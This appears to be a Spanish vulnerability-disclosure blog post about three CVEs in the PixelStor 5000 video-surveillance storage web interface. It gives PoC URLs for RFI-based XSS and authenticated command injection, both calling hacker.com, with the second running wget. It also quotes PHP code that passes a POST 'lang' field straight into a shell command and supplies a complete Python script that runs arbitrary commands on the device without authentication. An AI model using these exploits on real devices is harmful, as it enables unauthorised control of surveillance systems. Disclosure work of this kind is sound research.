PixelStor 5000 (CVE-2020-6756, CVE-2020-6757, CVE-2020-6758)

Realizando un pentest me encontré con el producto PixelStor 5000, un potente video storage que según Rasilient (desarrollador del producto), se encuentra diseñado para sobresalir en instalaciones de vídeovigilancia de alta demanda.

Analizando su aplicación web se encontraron las siguientes vulnerabilidades:

1. XSS a través de un RFI

Proof of Concept (PoC):

http://target.com/Option/optionsAll.php?ContentFrame=http://hacker.com/xss.html
2. Authenticated Remote Code Execution (RCE)

Como prueba de concepto, se ejecutó el comando wget con la dirección del atacante. Como resultado, fue posible obtener una solicitud proveniente desde la IP de la aplicación vulnerable:

Proof of Concept (PoC):

http://target.com/Host/contentHostProperties.php?name=127.0.0.1;wget http://hacker.com
3. Unauthenticated Remote Code Execution (RCE)

Analizando el código de fuente de la aplicación web, se encontró que en el archivo languageOptions.php la variable $lang se inicializa sin sanitizar:

<?
  ob_start();
  require('../inc/diskarray.inc');
 // require('../inc/auth.inc');
 $localCtrlId=trim(`/usr/sbin/sysmon -id`);
 $remotePresent=trim(`/usr/sbin/sysmon -scp`);
 if($localCtrlId=="0"){
 	$remoteCtrlId="C1";
 }else{
 	$remoteCtrlId="C0";
 }
  
 $lang = $_POST['lang'];
 `/bin/echo -n $lang > /mnt/flash/etc/language.conf`;
 if($remotePresent=="1"){
 	`/usr/bin/rssh -t 60 $remoteCtrlId "/bin/echo -n $lang > /mnt/flash/etc/language.conf"`;
 }

  /** if ( isset ($_POST['lang']))
      {    
           $lang =$_POST['lang'];
           $_SESSION['lang'] = $lang;
        } else {        
               $lang = $_SESSION['lang'];
                } */
         switch ($lang) {
         case en:
         $lang_file = 'en.xml';
         break; 
         case cn:  
         $lang_file = 'cn.xml';  
         break;  
         default:  
         $lang_file = 'en.xml';
         }
          
         global $lang_count;
         $lang_count = 0;
         global $ARRY, $ARRY1;
         $ARRY = array();
         $ARRY1 = array();
         $doc = new DOMDocument();
         $file_name = '../language/'.$lang_file;
         $doc->load($file_name);
         $trans = $doc->getElementsByTagName("tran");
         foreach($trans as $tran)
         {
            $lang_count++;
            $id = $tran-> getAttribute("id");
            $tranames = $tran-> getAttributeNode("name");
            $traname = $tranames -> nodeValue;
            $names = $tran-> getElementsByTagName("name");
            $name = $names -> item(0) -> nodeValue;
            $ARRY[$id] = $name;
            $ARRY1[$id] = $traname;
         }
   
         echo "<script language=\"JavaScript\">\n";
         echo "window.parent.location.href = \"../Option/optionsAll.php?contentFrame=optionstart.php\"\n";
         echo "</script>\n";                  


?>

En base a lo anterior, es posible ejecutar código remoto por medio de la siguiente petición POST:

Proof of Concept (PoC):

# Exploit Title: PixelStor 5000 - Remote Code Execution
# Product: PixelStor 5000
# Vendor: Rasilient
# Date: 2020-01-08
# Exploit Author: .:UND3R:.
# Vendor Homepage: http://rasilient.com
# Version: K:4.0.1580-20150629 (KDI Version)
# Tested on: K:4.0.1580-20150629 (KDI Version)
# CVE: CVE-2020-6756
# URL Author: https://pwnedchile.com
# Thanks: Dani Pelotocino <3, Roit

import requests, sys

def poc(target, cmd):
	url = target + "/Option/languageOptions.php"
	headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
	data = {"lang": ";" + cmd + ";/bin/echo -n en"}
	r = requests.post(url, headers=headers, data=data)
	if(r.status_code == 200):
		print("\nPwned :]")
	else:
		print("\nNot vulnerable :(")

print("PixelStor 5000 RCE exploit\nVersion: K:4.0.1580-20150629 (KDI Version)\n\nAuthor: .:UND3R:.\nURL: https://pwnedchile.com\nThanks: Dani Pelotocino <3")

if len(sys.argv) !=2:
    print("\n[+] Usage: python " + sys.argv[0] + " <url>\n")
    sys.exit(1)

if __name__ == "__main__":
	url = sys.argv[1]
	cmd = raw_input("\n[Linux Command]:")
	poc(url, cmd)
#EoF
Conclusión

Como conclusión podemos observar la importancia del desarrollo seguro en productos tan sensibles como lo son un video storage.

Referencia
Compartir

Agregar un comentario